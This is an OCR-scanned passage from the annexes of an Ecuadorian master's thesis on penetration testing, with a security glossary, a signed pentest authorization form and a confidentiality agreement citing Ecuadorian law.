Sierra, O. (2018). ANALISIS Y PRUEBAS DE NIVELES DE SEGURIDAD DE LA
INFORMACION BASADOS EN LAS GUIAS DEL OSSTMM v3. 11.

The Penetration Testing Execution Standard. (s/f). Recuperado el 6 de junio de 2020, de
http:/www.pentest-standard.org/index.php/Main_Page

Valdez Alvarado, A. (2013). OSSTMM 3—ARTICULO.

Vargas Borbua, R., Recalde Herrera, L., & Reyes Ch., R. P. (2017). Ciberdefensa y
ciberseguridad, mas alla del mundo virtual: Modelo ecuatoriano de gobernanza en
ciberdefensa. http://repositorio.flacsoandes.edu.ec/handle/10469/12199

Martin Fernando Gonzalez Palomeque Pagina 102



E% UNIVERSIDAD DE CUENCA

Glosario

Autenticacién: Es la capacidad de validar o identificar a un usuario autorizado o genuino, y

su nivel de acceso a un activo digital.

Vulnerabilidad: Caracteristica de debilidad de un recurso tecnoldgico que lo expone a un

acceso no autorizado o a ser explotado por una amenaza.

Amenaza: Se considera amenaza a todo aquello (incidente o evento) que, de ocurrir o

materializarse, causaria dafios a los recursos tecnolégicos de una organizacion.

Riesgo: Es la combinacién de probabilidad de ocurrencia y el impacto (positivo o negativo),

de materializarse una amenaza.

Malware: Se considera malware a todo aquel software malicioso (de ahi proviene el nombre)
gue instalado en un equipo trata de ganar accesos no autorizados al explotar sus

vulnerabilidades. Tiene varias clasificaciones.

Virus informético: Programa o codigo malicioso que estd disefiado para alterar el
comportamiento normal de un dispositivo electrénico, por lo que su presencia suele notarse.
Se propaga de equipo a equipo, adjunto a un programa legitimo y se ejecuta solo por

intervencidn del usuario.

Worm: Se considera una subcategoria del virus ya que su comportamiento es muy similar,
sin embargo, no necesita la intervencion del usuario para ejecutarse ni replicarse por la red.
Puede aprovechar los servicios de red del sistema anfitrion para viajar por la red sin ser

detectado.

Trojan: malware que aparenta ser un programa legitimo, pero en realidad son programas

destructivos que pueden llegar a robar informacion o instalar backdoors en el anfitrion.

Backdoor: malware cuya finalidad es permitir sin conocimiento del usuario, el acceso remoto

de un agente malicioso y ejercer control sobre el equipo infectado.

Keylogger: Capturan y registran cada pulsacion de teclado en un archivo de texto plano que
luego es enviado a un tercero para su beneficio. Son una subcategoria de spyware ya que

capturan informacion confidencial como credenciales de acceso o informacion financiera.

Rootkit: malware basado en un conjunto de herramientas que buscan pasar inadvertidos y
conseguir privilegios de administrador en un sistema. Se utilizan para ocultar puertos abiertos,
comunicaciones y la ejecucion de otros tipos de malware del usuario y de herramientas de

seguridad como antivirus.
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Ransomware: Viene del inglés “ransom” que significa rescate. Malware que encripta o
bloquea todo el contenido del disco duro de un equipo a modo de secuestro, y solicitan el

pago de una recompensa a cambio de liberarlo.

Bots: Son programas o0 scripts que realizan tareas de forma automatizada y sus
consecuencias son diversas. Pueden operar de manera aislada o en una red de equipos o
bots (botnet) en la que un atacante puede llegar a controlar decenas de miles de
computadores con la intencion de ejecutar ataques de denegacion de servicio, lanzar

campafas a gran escala de spam u otro tipo de ciberataque.

Spyware: Malware que puede instalarse en el anfitrion por si mismos o mediante otras
aplicaciones. Actian de forma sigilosa para robar informacién confidencial del equipo

anfitrién, recopilar datos de las aplicaciones, disco duro, historial de navegacion, etc.

Adware: Es software de tipo invasivo. No intenta robar informacion ni mucho menos dafiar el
equipo anfitrion, pero invade la pantalla, aplicaciones o el navegador con publicidad, lo que
es realmente molestoso. Algunos adware entran en la categoria de spyware ya que recolectan

y envian informacion personal.

Phishing: tipo de ataque en el que el atacante intenta engafiar a su objetivo a través de
llamadas telefénicas o e-mail, con sitios web falsos o contestadoras de voz interactivas,

simulando ser, por ejemplo, instituciones financieras y solicitando informacién personal.
Spam: envio indiscriminado de correo electrénico no solicitado y masivo.

Baiting: Es una sub categoria del phishing ya que se busca atraer a los usuarios con engafnos
y ofrecimientos como premios o cosas por el estilo. Se envian por medio de spam, sitios web
maliciosos o incluso de forma fisica. El atacante “olvida” un pendrive en el escritorio de su
victima o en una cafeteria. Al conectar el dispositivo se ejecuta cddigo malicioso sin

conocimiento de la victima.

Tailgating: Consiste en acceder a lugares restringidos aprovechandose de gente con acceso
legitimo. Por ejemplo, un atacante vestido con el uniforme de la empresa le pide a un
trabajador que le sostenga la puerta. Estos ataques exponen a las empresas a robo de

informacion, sabotaje, terrorismo, etc.

Dumpster diving: Consiste en buscar informacion relevante acerca del objetivo, en los
contenedores de basura de la organizacién o de cada empleado. También se considera
dumpster diving el apoderarse de tecnologia desechada de las victimas como computadores

y celulares viejos o discos duros dafiados para intentar extraer informacién de los mismos.

Martin Fernando Gonzalez Palomeque Pagina 104



55% UNIVERSIDAD DE CUENCA
g

Shoulder surfing: Consiste en mirar por encima del hombro de la victima mientras digita

claves o informacion sensible.

Denegacion de Servicio (DoS): Este tipo de ataque atenta contra el principio de
disponibilidad, ya que busca inhabilitar el acceso a un equipo o recurso de red a sus usuarios
legitimos. Es causado por eventos o0 acciones que eliminan la capacidad de operacién de un
recurso de red, por ejemplo, saturar con solicitudes un sitio web, disminuyendo el poder de

procesamiento del servidor.

Cross Site Scripting (XSS): Un atacante ejecuta cédigo JavaScript en el navegador de la
victima con la intencibn de robarle informacion sensible. Se aprovecha de ciertas

vulnerabilidades presentes en algunos sitios web.

Session Hijacking (Man in the middle): El ataque de hombre en el medio consiste en que,
sin autorizacion, un tercero se apropia de un canal de comunicacion entre varios terminales.
De esta forma el atacante puede interrumpir, manipular o reemplazar el trafico del canal sin
el conocimiento de las victimas, quienes confian en que el canal de comunicacion esta seguro

y protegido.

Sql Injection: La inyeccion Sql intenta tomar ventaja de los campos de entrada de un sitio
web, que no han sido codificados correctamente. En este tipo de ataque, el atacante inserta
una sentencia sgl maliciosa en un campo de entrada, esperando acceder a la base de datos

y manipular sus registros.

Exploit: Codigo, secuencia de comandos o software que se aprovecha de un error o

vulnerabilidad presente en un sistema.
Payload: Es la carga que se ejecuta al aprovechar una vulnerabilidad explotada.

Metasploit Framework: Plataforma completa para la ejecucion de test de penetracion que
contiene médulos para realizar varios tipos de ataques y actividades relacionadas con el

pentest.

Meterpreter: payload muy potente que viene integrado con metasploit framework. Contiene
un intérprete de linea de comandos que permite interactuar con el objetivo y realizar

actividades de post explotacion.

Arpanet: Red computacional creada en 1969 para la transferencia de datos de carécter militar
y de investigacion en los Estados unidos. Se le considera la precursora de lo que hoy se

conoce como Internet.

VPN: Red privada virtual.
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Proxy: Programa o dispositivo que hace de intermediario en una comunicacion entre 2

puntos.

Nat: Network address translation, o traduccion de direcciones de red. Protocolo que permite

la interaccién de redes locales con el internet, con el fin de preservar direcciones IP.
Datacenter: Centro de procesamiento de datos.

Fingerprinting: Proceso de descubrimiento del Sistema operativo y version que utiliza un
host.

Host: En informética, se refiere a cualquier dispositivo conectado a una red de datos.
OS: Sistema operativo.

ICMP: Protocolo de mensajes de control de internet. Reporta errores en la generacion y envio

de mensajes a través del protocolo IP.

Ping sweep: Técnica utilizada en el escaneo de red para descubrir hosts activos. También

se le conoce como Barrido de direcciones IP.
Firmware: Programa basico que controla los circuitos de un dispositivo electrénico.

Active directory: Proporciona servicios de directorio en una red empresarial. Aunque tiene
varias funciones, se utiliza generalmente para la gestion de equipos, usuarios y recursos de

una red.
Pop 3: Protocolo para la transferencia de correo electrénico.
Imap: Protocolo para la transferencia de correo electrénico.

Sniffer de red: Aplicacion que analiza y captura paquetes en transito dentro de una red de

datos.

CVE: Common vulnerabilities and exposures. Registro que identifica las vulnerabilidades y

exposiciones comunes.
Bug: Error de cédigo en un software que ocasiona un mal funcionamiento.
ISP: Internet service provider o proveedor del servicio de internet.

NIST: National Institute of Standards and Technology. Instituto Nacional de Estandares y

Tecnologias.

ITIL: Information Technology Infrastructure Library. Biblioteca de infraestructuras de
tecnologias de la informacién. Conceptos y buenas practicas para la gestidon de servicios de
TI.
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Shell: Interprete de linea de comandos para interactuar con el anfitrion.
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Anexos

Anexo 1. Formulario de autorizacion de Pentest

FORMULARIO DE AUTORIZACION DE
PENTESTING

Beneficiario: EEI N I EEEET B CEEE BN U SN W SR

Representante: - - = u .
Cargo: es Tn om Sms u

Fecha: 06 de agosto de 2021

Auditor: Ing. Martin Gonzalez Palomeque

Martin Fernando Gonzalez Palomeque
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1. Informacidn relacionada al test

El beneficiario de la prueba de penetracion autoriza al Ing. Martin Gonzalez Palomeque
para llevar a cabo las actividades de verificacion de seguridad de los equipo(s),
sistema(s) y red que se describe(n) a continuacion, segun las siguientes condiciones:

Alcance (Activos autorizados):

o Todos los equipos de red y de computo de la oficina de la ™%
[ e incluidos sus sistemas, dentro de su rango de
direccionamiento IP interno "8 I ™ 17 todos los puertos TCP, UDP
y servicios activos.

+ Condiciones:

o Las pruebas seran internas y se realizaran desde dentro de la red del
cliente utilizando una conexion cableada o inalambrica para acceder a
los activos incluidos en el alcance.

o Se realizaran un Unico TEST de penetracion;

* (Caja blanca
« Orientacién: Network Assessment

« Planificacién temporal:
o Fecha de inicio: 10 de agosto de 2021,
o Fecha de finalizacién: 13 de agosto de 2021.
o Horario de gjecucion de las pruebas: Entre las 08:00 y 16:30 horas.

+ Teléfonos de soporte y notificacion en caso de caida de servicio:
o Beneficiario;
* Nombre: 'messscmen e
= Teléfono I 00
* Email:
o Auditor:
* Nombre: Martin Gonzalez Palomeque
» Teléfono: 0992513784
= Email in2@
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2. Tipos de pruebas (Pentesting)

El servicio de test de intrusion nos permite testear la fortaleza de la infraestructura IT
para medir su nivel de seguridad técnico y si cumple los niveles requeridos por la politica
organizativa. Estos test son realizados por expertos en seguridad sobre todos los
servicios expuestos a internet y aquellos que puedan accederse remotamente. Se
pueden realizar dos tipos distintos de Test de Intrusion, Externo o Interno dependiendo
desde donde se realicen los ataques.

« El Test de Intrusién Externo: se realiza desde internet sobre la infraestructura
del cliente, mas concretamente, sobre aquellos dispositivos de la organizacién
que estan expuestos a internet, por ejemplo, router, firewall, servidor web,
servidor de correo, DNS, etc.

* El Test de Intrusion Interno: se realiza desde dentro de la red del cliente desde
donde pueden localizarse mas problemas de seguridad que con un test externo,

» Proposito del pentest: Comprobar el estado de las vulnerabilidades que presenta
la infraestructura tecnologica del beneficiario, a nivel de red.

Los tipos de test descritos, se pueden clasificar de la misma forma en tres tipes de
pruebas, dependiendo su enfoque:

* Test de Intrusién de Caja Negra: este es un tipo de test de intrusion externo,
sin informacién o solo con muy poca informacién del objetivo (solo lo que debe
ser auditado). Por ejemplo, dada una web o portal publicado, intentar atacario
desde una red externa solo a partir de informacién basica disponible,
desconociendo informacion relativa a arquitectura, usuarios, etc,

= Test de Intrusion de Caja Gris: este tipo de test puede ser interno o externo,
poseyendo solo informacion limitada sobre el objetivo como, por ejemplo,
credenciales de autenticacion basicas.

= Test de Intrusion de Caja Blanca: este tipo de test es interno, accediendo a la
red desde un punto de acceso y teniendo el diagrama de red, las plataformas,
los servicios principales, y vanos perfiles con distintas credenciales y privilegios,
etc.

Dada la naturaleza de los trabajos a realizar cabe la posibilidad de que, de forma no
intencionada, se produjese algun efecto colateral indeseado. Si asi fuese, el Auditor lo
notificaria inmediatamente al Teléfono de soporte correspondiente o se pondria a
disposicion del cliente para aportar la informacién requerida sobre las acciones
realizadas.

2.1. Restricciones y conformidades
Las siguientes restricciones se aplicaran a esta autorizacién:

« Esta autorizacion estara vigente desde el 10 de agosto de 2021 hasta el 12 de
agosto de 2021,

De conformidad con la concesién de esta autorizacion, el Beneficiario declara que:
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= Es duefio de los sistemas donde se realiza |a auditoria de vulnerabilidades y el
suscrito tiene la autondad adecuada para poder llevar a cabo las actividades de
verificacién de sequridades a nivel de red.

* Ha creado una copia de seguridad completa de todos los sistemas dentro del
ambito de las pruebas de vulnersbilidades, y se ha comprobado que el
procedimiento de copia de seguridad permitira al cliente restaurar los sistemas
a su estado previo al test,

= El servicio implica necesariamente el usc de herramientas y técnicas disefiadas
para detectar las vulnerabilidades de seguridad, y que es imposible identificar y
eliminar todos los riesgos asociados a los activos digitales.

« Elcliente se compromete a no medificar la infraestructura tecnologica durante la
ejecucion del test. Si esto sucediera se entendera como un cambio de alcance,
de tal modo que el pentest se dara por finalizado y se entregara el informe al
cliente con los resultados obtenidos hasta ese momento.

Cualquier cambio a las limitaciones y condiciones descritas debera reali rse por escrito
y ser aceptado por ambas partes.

5 e W \

’I_-. ‘@T’ 5w s Ing. Martin Gonzalet Palomegue
4 £, 0301588091

[E &= & a8 uditor
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Anexo 2. Acuerdo de Confidencialidad

ACUERDO DE CONFIDENCIALIDAD Y NO DIVULGACION DE LA INFORMACION
PARA

Intervienen en la celebracion del presente "ACUERDO DE CONFIDENCIALIDAD Y
NO DIVULGACION DE LA INFORMACION", por una parte, = vy swesswm = o
& WS con cédula de ciudadania Nro. W™, en mi calidad i M ER §
N "0 U mm, en adelante y para efectos del presente instrumento en
representacion de mww = sm. ws en calidad de Proveedor de Informacién; y por otro
lado el Ing. Martin Fernando Gonzalez Palomeque con cédula de ciudadania Nro.
0301588091 en mi calidad de Auditor de Seguridad, en adelante y para efectos del
presente instrumento en calidad de Receptor de la Informacion quienes libre y
voluntariamente celebran el presente acuerdo.

Ambas partes reconocen reciprocamente su capaciiad para obligarse, por lo que
suscriben el presente Acuerdo de Confidencialidad y de No Divulgacion de Informacion
con base a las siguientes clausulas.

CLAUSULA PRIMERA. - ANTECEDENTES:

El articulo 226 de la Constitucion de la Republica del Ecuador prevé que: “Las
instituciones del Estado sus organismos y dependencias, y las servidoras o servidores
plblicos, tendran el deber de coordinar acciones para el cumplimiento de sus fines y
hacer efectivo el goce y ejercicio de los derechos reconocidos en la Constitucion”;

En virtud de lo establecido en el numeral 19 del articulo 66 de la Norma Suprema se
dispone: “Se reconoce y garantizara a las personas: (...) El derecho a la proteccion de
datos de caracter personal, que incluye el acceso y la decision sobre informacién y
datos de este caracter, asi como su correspondiente proteccion, La recoleccion,
archivo, procesamiento, distribucion o difusion de estos datos o informacién requeriran
la autorizacion del titular o el mandato de la Ley”;

El articulo 178 del Codigo Orgénico Integral Penal establece: ‘La persona que, sin
contar con el consentimiento o la autorizacion legal, acceda, intercepte, examine.
retenga, grabe, reproduzca, difunda o publique datos personales, mensajes de datos,
voz, audio y video, objetos postales, informacién contenida en soportes informaticos,
comunicaciones privadas o reservadas de otra persona por cualquier medio, sera
sancionada con pena privativa de libertad de uno a tres afios...",

El articulo 190 ibidem sefiala: “La persona que utilice fraudulentamente un sistema
informatico o redes electronicas y de telecomunicaciones para facilitar la apropiacion
de un bien ajeno o que procure la transferencia no consentida de bienes, valores o
derechos en perjuicio de esta o de una tercera, en beneficio suyo o de otra persona
alterando, manipulando o modificando el funcionamiento de redes electrénicas.,
programas, sistemas informaticos, teleméticos y equipos terminales de
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telecomunicaciones, sera sancionada con pena privativa de libertad de uno a tres
afios(...)"

El articulo 230 del Coédigo Organico Integral Penal determina: “Seréd sancionada con
pena privativa de libertad de tres a cinco afos: (...) La persona que sin orden judicial
previa, en provecho propio o de un tercero, intercepte, escuche, desvie, grabe u
observe, en cualquier forma un dato informatico en su origen, destino o en el interior
de un sistema informatico, una senal o una transmision de datos o senales con la
finalidad de obtener informacion registrada o disponible. (...)";

La Ley de Comercio Electrénico, Firmas Electronicas y Mensajes de Datos, en los
articulos 2 y 44, respectivamente, reconoce ante el Estado la validez juridica de los
mensajes de datos electronicos, asi como el valor y efecto juridicos de cualquier
actividad, transaccién mercantil, financiera o de servicios que se realice con los
mismos por medio de redes electronicas;

La Carta Iberoamericana de Gobiemno Electronico, en la seccion 24, recomienda a los
gobieros tomar en consideracion la importancia de la interoperabilidad de las
comunicaciones y servicios, asi como disponer las medidas necesarias, para que
todas las entidades publicas, cualquiera que sea su nivel y con independencia del
respeto a su autonomia, establezcan sistemas que sean interoperables;

La Ley del Sistema Nacional de Registro de Datos Piblicos publicada en el Registro
Oficial No. 162 de 31 de marzo de 2010, en su articulo 4, cita: *Las instituciones del
sector publico y privado y las personas naturales que actualmente o en el futuro
administren bases o registros de datos publicos, son responsables de la integridad,
proteccion y control de los registros y bases de datos a su cargo, Dichas instituciones
responderan por la veracidad, autenticidad, custodia y debida conservacion de los
registros. La responsabilidad sobre la veracidad y autenticidad de los datos
registrados, es exclusiva de la o el declarante cuando esta o este provee toda la
informacién...";

El articulo 27 de la Ley ibidem establece: “Las Registradoras o Registradores y
maximas autoridades, a quienes se autoriza el manejo de las licencias para el acceso
a los registros de datos utilizados por la ley, serdn las o los responsables directos
administrativa, civil y penalmente por el mal uso de las mismas®;

Bajo este marco regulatorio, la informacion que se dispone en los servicios
institucionales se clasifica como reservada y/o confidencial, a tal efecto se acuerda
suscribir el presente “Acuerdo de Confidencialidad y No Divulgacion de la Informacion”
entre la entidad que solicita el acceso a los servicios institucionales y la entidad
proveedora del servicio con la finalidad de proteger la informacion que se consuma
cuando ésta tenga el caracter de reservada y/o confidencial,

(=]
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Se garantizara la confidencialidad, integridad, disponibilidad, reserva y proteccion de
los datos e informacién que se comparta e intercambie entre las entidades, de acuerdo
a la normativa vigente.

CLAUSULA SEGUNDA. - OBJETO:

En virtud de los antecedentes expuestos, por medio del presente instrumento el
RECEPTOR DE LA INFORMACION se obliga expresamente a guardar sigilo,
confidencialidad y reserva sobre el contenido de toda la informacién generada, verbal
o escrita, que se comparta entre las partes.

La informacién obtenida por el RECEPTOR DE LA INFORMACION sera utilizada para
investigacion cientifica como parte de su trabajo de titulacion de Master en la
Universidad de Cuenca, y sus resultados seran publicados, preservando la anonimidad
del PROVEEDOR DE LA INFORMACION y enmascarando o alterando la informacién
que pudiera perjudicar de cualquier formaa ™ = =0

Ademas, el RECEPTOR DE LA INFORMACION se compromete a hacer uso de la
informacion, Unicamente para las actividades descritas en el FORMULARIO DE
AUTORIZACION DE PENTEST, anexo al presente documento.

CLAUSULA TERCERA. - DERECHOS Y OBLIGACIONES:
Son deberes de quien haga las veces de RECEPTOR DE LA INFORMACION:

1. Guardar la reserva y confidencialidad, sin el deterioro de cualquier tipo de
informacion que se le suministre 0 a la cual llegare a tener acceso o
conocimiento;

2. Mantener en forma estrictamente reservada y confidencial toda la informacién
que por razon de su competencia tendra acceso, por lo tanto, se obliga a
abstenerse de usar, disponer, divulgar y/o publicar por cualquier medio, oral,
escrito, y/o tecnologico y en general, aprovecharse de ella en cualquier otra
forma para efectos ajenos a los intereses de la Institucion a la cual pertenece,

3. Utilizar la informacion suministrada por EEIEABEl. dnicamente para los
fines acordados por las partes.

No realizar copia o duplicade alguno de la informacion mencionada en este acuerdo
sin la autorizacion previa y escrita de la otra parte; tampoco podran divulgar dicha
informacion a terceras personas sin que medie igualmente la respectiva autorizacion
previa y escrita de la otra parte. Se excluye de esta obligacion la informacion que sea
de dominio publico o que sea del conocimiento previo de I LN sin
constituir discrecién de la informacion en los términos del presente acuerdo y, cuya
revelacion no cause agravio o perjuicio alguno a su titular,
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CLAUSULA CUARTA. - PATRON DE CONDUCTA, IMPLICACIONES DE LA
RECEPCION DE LA INFORMACION Y RESPONSABILIDAD

Las partes actuaran con responsabilidad en el buen uso de la informacion, lo que
supone entre otros deberes, el de limitar la divulgacién autorizada al menor nimero de
personas, y el de tomar las medidas idoneas y eficaces para evitar el trafico y fuga
indebida de la informacién, asi como su uso por fuera de los limites de este convenio.

El incumplimiento del deber de reserva establecido en la Clausula Cuarta de este
acuerdo, constituye violacién de secreto y justa causa de terminacion unilateral de la
relacion, sin desmedro de las indemnizaciones (solo para proveedores) legales
correspondientes,

El RECEPTOR DE LA INFORMACION reconoce que la informacién confidencial a la
que se refiere el presente acuerdo posee una valoracion en imagen institucional y su
indebida divulgacion o utilizacion causa un perjuicio,

CLAUSULA QUINTA. - MATERIALES:

Todos los malteriales como, documentos, actas de reunién, fichas de consumo, entre
otras que son entregadas al RECEPTOR DE LA INFORMACION por parte de
mm—— sy ge considera como informacion confidencial y se debe guardar
absoluta reserva de la misma.

CLAUSULA SEXTA. - SANCIONES:

Para la aplicaciéon de sanciones se tomara en cuenta lo establecido en la Constitucion
de la Republica del Ecuador, la Ley Organica de Transparencia y Acceso a la
Informacién Publica, Ley Orgénica del Sistema Nacional de Registro de Datos Pubicos
y demas normativa aplicable; sin perjuicio de las acciones civiles y penales que
procedan en cada caso.

CLAUSULA SEPTIMA. -

En los casos en que la informacién sea calificada como "Reservada” o ‘Confidencial’
por mandato legal, las entidades que suscriben el presente acuerdo evaluaran la
pertinencia de entregar © no dicha informacién.

CLAUSULA OCTAVA, - DOCUMENTOS HABILITANTES:

Para la suscripcion del presente instrumento, las partes presentaran las respectivas
delegaciones o nombramientos que les permita actuar en representacion de las
entidades intervinientes.

CLAUSULA NOVENA. - VIGENCIA:
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El presente instrumento tendrd una vigencia de cinco afos a partir de la fecha de
suscripcion,

CLAUSULA DECIMA - ACUERDO TOTAL:

Este acuerde incluye el total entendimiento entre las partes con relacion a la matena
de la cual se trata este documento. Cualquier afadidura o modificacion a este acuerdo
debera ser hecha por escrito y firmada por ambas partes.

CLAUSULA DECIMA PRIMERA: NOTIFICACIONES. -

En el evento de que se produzca el incumplimiento de alguna de las clausulas
estipuladas en el presente acuerdo, la parte afectada, notificara del incumplimiento a la
maxima autoridad de la instituciéon involucrada, sin perjuicio de las acciones y
sanciones previstas en la normativa vigente.

Una vez comprendido por los comparecientes el contenido y efectos del presente N
instrumento expresamente se ratifican en él, para fe y constancia se firma ﬁ presente
documento por quienes en €l intervinieron, en la ciudad de ® " 7. el dia/06 del mes
de agosto del afio 2021, en dos ejemplares del mismo tenor y validez
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